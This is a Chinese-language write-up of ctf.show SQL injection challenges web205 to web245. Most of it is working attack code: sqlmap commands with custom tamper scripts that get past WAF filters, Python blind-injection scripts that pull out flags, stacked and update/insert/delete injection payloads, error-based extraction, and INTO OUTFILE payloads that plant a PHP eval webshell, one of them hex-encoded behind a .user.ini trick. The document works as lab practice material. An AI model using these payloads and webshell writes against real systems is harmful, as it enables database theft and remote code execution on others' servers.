python sqlmap.py -u http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php --safe-freq=1
python sqlmap.py -u http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://f42840fd-ce47-4537-beff-174afe071c4c.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump
web206
与上一题一样,为了让我们重头跑一次所有名字都换了,不能一把梭。
python sqlmap.py -u http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/getToken.php --safe-freq=1
python sqlmap.py -u http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a8be2e20-ab27-4512-a594-bfa71dfde692.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv --dump
web207
--tamper=
指定使用的脚本
开始对参数有过滤了。
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ /', $str);
}
可以自己写tamper,也可以用它现有的tamper。
python sqlmap.py -u http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper space2comment.py
python sqlmap.py -u http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://a53499d3-39bc-46cf-8270-3c3a581a43f8.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump
常见的tamper有:
apostrophemask.py 用utf8代替引号
equaltolike.py MSSQL * SQLite中like 代替等号
greatest.py MySQL中绕过过滤’>’ ,用GREATEST替换大于号
space2hash.py 空格替换为#号 随机字符串 以及换行符
space2comment.py 用/**/代替空格
apostrophenullencode.py MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号
halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py MySQL中空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.p Microsoft Access在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤
space2mssqlblank.py mssql空格替换为其它空符号
base64encode.py 用base64编码
space2mssqlhash.py mssql查询中替换空格
modsecurityversioned.py mysql中过滤空格,包含完整的查询版本注释
space2mysqlblank.py mysql中空格替换其它空白符号
between.py MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
space2mysqldash.py MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py 围绕SQL关键字添加多个空格
space2plus.py 用+替换空格
bluecoat.py MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代
space2randomblank.py 代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
chardoubleencode.py 双url编码(不处理以编码的)
unionalltounion.py 替换UNION ALL SELECT UNION SELECT
charencode.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
randomcase.py Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
unmagicquotes.py 宽字符绕过 GPC addslashes
randomcomments.py 用/**/分割sql关键字
charunicodeencode.py ASP,ASP.NET中字符串 unicode 编码
securesphere.py 追加特制的字符串
versionedmorekeywords.py MySQL >= 5.1.13注释绕过
halfversionedmorekeywords.py MySQL < 5.1中关键字前加注释
web208
和上一题一样。
web209
过滤了空格、*
和 =
。
function waf($str){
//TODO 未完工
return preg_match('/ |\*|\=/', $str);
}
可以改一下他的模板 space2comment.py
。
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with comments '/**/'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
elif payload[i] == "*" :
retVal += chr(0x31)
continue
elif payload[i] == "=" :
retVal += chr(0x0a) + 'like' + chr(0x0a)
continue
retVal += payload[i]
return retVal
python sqlmap.py -u http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web209.py
python sqlmap.py -u http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://1db47948-2923-4732-9df5-24499a05ffbd.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper tamper/web209.py -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump
web210
显然我们要先对参数逆序、base64编码、逆序、base64编码。
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
tamper:
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
retVal = base64.b64encode(retVal[::-1].encode())
retVal = base64.b64encode(retVal[::-1]).decode()
return retVal
python sqlmap.py -u http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web210.py
python sqlmap.py -u http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://05e3bcd1-ec68-4024-b525-64a50eb72ba9.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web210.py -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump
web211
过滤
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}
综合一下之前的tamper就行了。
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
retVal += payload[i]
retVal = base64.b64encode(retVal[::-1].encode())
retVal = base64.b64encode(retVal[::-1]).decode()
return retVal
python sqlmap.py -u http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web211.py
python sqlmap.py -u http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://65962b61-e53a-4d32-8377-1bca5ee8bc7e.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web211.py -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump
web212
之前的综合一下就行了
//对查询字符进行解密
function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |\*/', $str);
}
tamper
#!/usr/bin/env python
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue
elif payload[i] == "*" :
retVal += chr(0x31)
continue
retVal += payload[i]
retVal = base64.b64encode(retVal[::-1].encode())
retVal = base64.b64encode(retVal[::-1]).decode()
return retVal
python sqlmap.py -u http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web212.py
python sqlmap.py -u http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/index.php --referer=ctf.show --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url=http://5d8fe551-e73b-410c-a000-c478f5058070.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --tamper web212.py -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump
web213
可以使用上一题的tamper,但是没找到flag。
--os-shell
提示输入一个交互式sql shell
os-shell的使用条件
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关闭
感觉应该没什么问题,也看过别人的wp,但是就是跑不出来,麻了。
python sqlmap.py -u "http://e14eb8ca-f40a-4ac3-9864-4dbb51cb74ab.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" -data="id=1" --cookie="PHPSESSID=9ofc81vimu8ckbg6ai4d5icudh" --method="PUT" -headers="Content-Type:text/plain" --safe-url="http://e14eb8ca-f40a-4ac3-9864-4dbb51cb74ab.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -tamper="tamper/web212.py" --os-shell
web214
时间盲注,没有过滤。在首页的 select.js
中可以看到以下代码,向 url/api
发送参数 ip
,显然注入点应该在这。
layui.use('element', function(){
var element = layui.element;
element.on('tab(nav)', function(data){
console.log(data);
});
});
$.ajax({
url:'api/',
dataType:"json",
type:'post',
data:{
ip:returnCitySN["cip"],
debug:0
}
});
没有过滤,直接写就好了。
import requests
url = 'http://b71ad9c8-c02b-42b9-a7bb-0d013083aafa.challenge.ctf.show:8080/api/'
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagx"'
payload = 'select group_concat(flaga) from ctfshow_flagx'
data = {
'ip': f'if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1)',
'debug': 0
}
try:
res = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web215
单引号闭合一下就行了。
import requests
url = 'http://de2f9592-eb5e-41a9-873c-290dc61b6091.challenge.ctf.show:8080/api/'
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxc"'
payload = 'select group_concat(flagaa) from ctfshow_flagxc'
data = {
'ip': f"1' or if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1) and '1'='1",
'debug': '0'
}
try:
res = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web216
base64编码了一下。
where id = from_base64($id);
用单引号包裹base64编码后的1,然后用右括号闭合,参数的最右边用左括号闭合
import requests
url = 'http://43521341-3b0a-4abc-8af2-11f79733e37b.challenge.ctf.show:8080/api/'
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxc"'
# payload = 'select group_concat(flagaa) from ctfshow_flagxc'
data = {
'ip': f"'MQ==') or if(ascii(substr(({payload}), {i}, 1))>{mid},sleep(1), 1",
'debug': '0'
}
try:
res = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web217
sleep
被过滤了。
function waf($str){
return preg_match('/sleep/i',$str);
}
可以使用 benchmark
来替代 sleep
。同样可以达到延迟时间的目的。
BENCHMARK(count,expr)
benchmark函数会重复计算expr表达式count次
但是一直跑可能会出错,所以可以加个 time.sleep(0.2)
休息一下。
import time
import requests
url = 'http://e8411781-e763-46d7-a28e-2db2746ec58f.challenge.ctf.show:8080/api/'
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxccb"'
payload = 'select group_concat(flagaabc) from ctfshow_flagxccb'
data = {
'ip': f"'MQ==') or if(ascii(substr(({payload}), {i}, 1))>{mid},benchmark(1000000,md5(1)), 1",
'debug': '0'
}
try:
res = requests.post(url, data=data, timeout=0.5)
tail = mid
except Exception as e:
start = mid + 1
time.sleep(0.2)
if start != 32:
flag += chr(start)
print(flag)
else:
break
web218
benchmark
也ban了。
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark/i',$str);
}
用笛卡尔积盲注,但是一直是 ~
,麻了。
import time
import requests
url = 'http://9cae4021-b7f3-4389-9f45-3149037da8b6.challenge.ctf.show:8080/api/'
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="ctfshow_flagxccb"'
# payload = 'select group_concat(flagaabc) from ctfshow_flagxccb'
delay = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a '),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),r pad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
data = {
'ip': f"1) or if(ascii(substr(({payload}), {i}, 1))>{mid},({delay}), 1",
'debug': '0'
}
try:
res = requests.post(url, data=data, timeout=0.15)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web219、220
时间盲注不做了,老是注不出来,麻了。
web221
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
利用procedure analyse()函数优化表结构。
procesure analyse(max_elements,max_memory)
max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。
利用 ExtractValue
的报错,获得数据库名。
extractvalue
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
由于 ExtractValue
的第一个参数 1
不是一个XML文档,所以会报错,通过报错信息获取数据库名。
http://13e64c3e-0e6e-4ef5-a59a-89d4adcab071.challenge.ctf.show:8080/api/?page=1&limit=1 procedure analyse(extractvalue(1,concat(0x7e,database(),0x7e)),1)
web222
//分页查询
$sql = select * from ctfshow_user group by $username;
开始尝试的是group by报错注入,但是注不出来,最后还是用的盲注。
如果if语句李的条件不满足就返回 username
,因此我们可以根据 group by username
的返回结果去判断我们if语句里的内容是否成立。
import requests
url = 'http://a0e700bd-859f-4cd7-b11e-68e863fe8224.challenge.ctf.show:8080/api/?u='
flag = ''
i = 0
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'"
payload = 'select concat(flagaabc) from ctfshow_flaga'
data = {'u': f"if(ascii(substr(({payload}),{i},1))>{mid},username,'a')"}
res = requests.get(url, params=data)
if "userAUTO" in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
else:
break
print(flag)
web223
在上一题的基础上加了过滤,不能包含数字。可以使用 true
来绕过,一个 true
表示1,数字就用 true
来累加就可以了。
import requests
url = 'http://48c958cf-bae8-4618-8d32-54920a6dcaab.challenge.ctf.show:8080/api/?u='
flag = ''
i = 0
def numTrue(number):
result = 'true'
if number == 1:
return result
else:
for index in range(number - 1):
result += '+true'
return result
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
payload = 'select concat(flagasabc) from ctfshow_flagas'
data = {'u': f"if(ascii(substr(({payload}),{numTrue(i)},{numTrue(1)}))>{numTrue(mid)},username,'a')"}
res = requests.get(url, params=data)
if "userAUTO" in res.text:
start = mid + 1
else:
tail = mid
if start != 32:
flag += chr(start)
else:
break
print(flag)
web224
Y1ng师傅写得很清楚。
web225
堆叠注入
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}
过滤了 select
,可以使用 handler
来进行查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
?username=ctfshow';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
web226
show
和括号都被过滤了。
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
die(json_encode($ret));
}
使用十六进制和预处理来绕过,拿到表名。
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
然后直接读就可以了。
?username=1';handler ctfsh_ow_flagas open;handler ctfsh_ow_flagas read first;
web227
查看MySQL的存储过程。
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
die(json_encode($ret));
}
在mysql中,存储过程和函数的信息存储在 information_schema
数据库下的 Routines
表中,可以通过查询该表的记录来查询存储过程和函数的信息。
SELECT * FROM information_schema.Routines
转一下十六进制进行查询,就可以发现函数getFlag
中就有flag。
?username=1';PREPARE so4ms from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE so4ms;
web228
被ban的关键词放在数据库里了。
同web226.
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';handler ctfsh_ow_flagasaa open;handler ctfsh_ow_flagasaa read first;
web229
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';PREPARE so4ms from 0x73656C656374202A2066726F6D20666C6167;EXECUTE so4ms;
web230
?username=1';PREPARE so4ms from 0x73686F77207461626C6573;EXECUTE so4ms;
?username=1';PREPARE so4ms from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE so4ms;
web231
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
尝试输入 password=user',username=database() where 1=1#&username=1
。
也就是说此时的SQL语句就变为了:update ctfshow_user set pass = 'user',username=database() where 1=1#' where username = '1';
然后到update.php中发现username全变为了数据库名。
之后就可以逐个查表名,字段名和字段内容了。
password=user',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
password=user',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
password=user',username=(select flagas from flaga) where 1=1#&username=1
web232
就是多了个md5函数,闭合一下括号就可以了。
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
password=user'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
password=user'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa') where 1=1#&username=1
password=user'),username=(select flagass from flagaa) where 1=1#&username=1
web233
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
这道题SQL语句和231一样,但是不管输入什么都查询失败,所以使用盲注。这里的sleep,是每行都会执行一次,所以要计算好时间。
from time import sleep
import requests
url = 'http://848e36ed-9a7e-4f56-9b44-64784b36c1b1.challenge.ctf.show:8080/api/'
data = {'password': '1', 'username': ''}
i = 1
flag = ''
for i in range(1, 46):
start = 32
tail = 126
while start < tail:
mid = (start + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
payload = "select flagass233 from flag233333"
data['username'] = f"' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)# "
try:
res = requests.post(url=url, data=data, timeout=0.9)
tail = mid
except Exception as e:
start = mid + 1
if start != 32:
flag += chr(start)
print(flag)
else:
break
web234
这题过滤了单引号,可以选择使用 \
来进行逃逸。
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
当我们password输入 \
时,SQL语句就变为了:update ctfshow_user set pass = '\' where username = 'username';
此时password插入的值就变为了 ' where username =
,然后username输入的值就可以插入我们想要执行的任意语句了。
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())-- -
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name="flag23a")-- -
password=\&username=,username=(select flagass23s3 from flag23a)-- -
web235
过滤了 or
和 '
。or
被过滤也就导致了information表不能用了。
这里可以使用mysql默认存储引擎innoDB携带的表。
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段
使用该表获取表名。
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- -
获取了表名但是没有字段名,可以使用无列名注入。
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)-- -
web236
上一题的基础上过滤了 flag
,但是好像又没有过滤,,搞不懂,麻了,上一题的payload即可。
web237
$sql = "insert into ctfshow_user(username,pass) value('{$username}','{$password}');";
由于他会将所有的数据都展示出来,所以我们可以构造修改插入的数据进行注入:
username=so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=114514
这样一来执行的SQL语句就变为了:insert into ctfshow_user(username,pass) value('so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#','114514');
插入的原密码处的数据就变为了查询语句返回的内容,就可以直接查询我们想要查询的内容了。
username=so4ms',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=114514
username=so4ms',(select group_concat(column_name) from information_schema.columns where table_name="flag"))#&password=114514
username=so4ms',(select flagass23s3 from flag))#&password=114514
web238
过滤了空格,用括号包起来就行了。
username=so4ms',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=114514
username=so4ms',(select(group_concat(column_name))from(information_schema.columns)where(table_name="flagb")))#&password=114514
username=so4ms',(select(flag)from(flagb)))#&password=114514
web239
过滤了空格和 or
,information_schema表不能用了,参照web235的无列名注入。
username=so4ms',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#&password=114514
*
好像不能用,没找到办法获取字段名,所以就只能猜测字段名为flag进行查询。
username=so4ms',(select(flag)from(flagbb)))#&password=114514
web240
给了个hint:表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写。
过滤空格 or sys mysql,之前的无列名注入也不能用那个表了,那就直接猜表名。
import requests
url = 'http://fee35ce9-bb6a-411c-9271-3d312afab87c.challenge.ctf.show:8080/api/insert.php'
flag_url = 'http://fee35ce9-bb6a-411c-9271-3d312afab87c.challenge.ctf.show:8080/api/?desc&page=1&limit=1000'
data = {'username': '', 'password': '114514'}
for i in range(32):
string = bin(i).replace('0b', '').rjust(5, '0')
table = 'flag'
for j in string:
table += chr(int(j, 10) + ord('a'))
data['username'] = f"so4ms',(select(flag)from({table})))#"
res = requests.post(url, data)
res2 = requests.get(flag_url)
if 'ctfshow{' in res2.text:
print(table)
break
web241
delete注入,无过滤,盲注就行了。
//删除记录
$sql = "delete from ctfshow_user where id = {$id}";
from time import sleep
import requests
url = 'http://b970bb9a-c8cc-4db4-8bee-ac2e7c1b430f.challenge.ctf.show:8080/api/delete.php'
i = 0
data = {'id': ''}
flag = ''
while 1:
start = 32
tail = 127
i += 1
while start < tail:
mid = (start + tail) >> 1
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# payload = 'select group_concat(column_name) from information_schema.columns where table_name="flag"'
payload = 'select flag from flag'
data['id'] = f'-1 or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),0)#'
try:
res = requests.post(url, data, timeout=1)
tail = mid
except Exception as e:
start = mid + 1
sleep(1)
if start != 32:
flag += chr(start)
print(flag)
else:
break
web242
将表的所有内容输出到路径为/var/www/html/dump/
的文件中,文件名以及后缀都是可控的,无过滤。
//备份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
可以使用 INTO OUTFILE
的拓展写入我们想要写入的内容。
"OPTION"参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
这里可以用FIELDS TERMINATED BY
、 LINES STARTING BY
、 LINES TERMINATED BY
来写入一句话。
filename=1.php' FIELDS TERMINATED BY "<?php eval($_POST[1]);?>";#
web243
这题在上一题的基础上增加了过滤,把 php
过滤了。
这样的话没办法写入PHP文件了,结合文件上传的知识,当前路径下还有一个 index.php
文件,那么我们就可以上传一个 .user.ini
文件,将包含恶意代码的其他文件包含到当前路径下的PHP文件中,也可以达到写马的目的。
可以先上传 .user.ini
文件,这里在每行开头加上换行符避免与前面插入的内容混在一起。
.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a6175746f5f617070656e645f66696c653d312e6a70670a;#
然后上传包含恶意代码的文件,
1.jpg' FIELDS TERMINATED BY 0x3c3f706870206576616c28245f504f53545b315d293b3f3e;#
然后访问index.php就可以执行命令了。
web244
无过滤。
//备份表
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";
先尝试输入 1'
,在查询接口 http://url/api/?id=1%27&page=1&limit=10
处有报错信息,显然是报错注入。
这里可以用 updatexml
来进行报错注入,返回的错误信息为:'~ctfshow_web~'
,注入成功。
1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1));%23
payload:
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1));%23
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),0x7e),1));%23
1' and (updatexml(1,concat(0x7e,(select right(flag,30) from ctfshow_flag),0x7e),1));%23
这里由于报错信息的长度有限,所以要分段读。
web245
updatexml
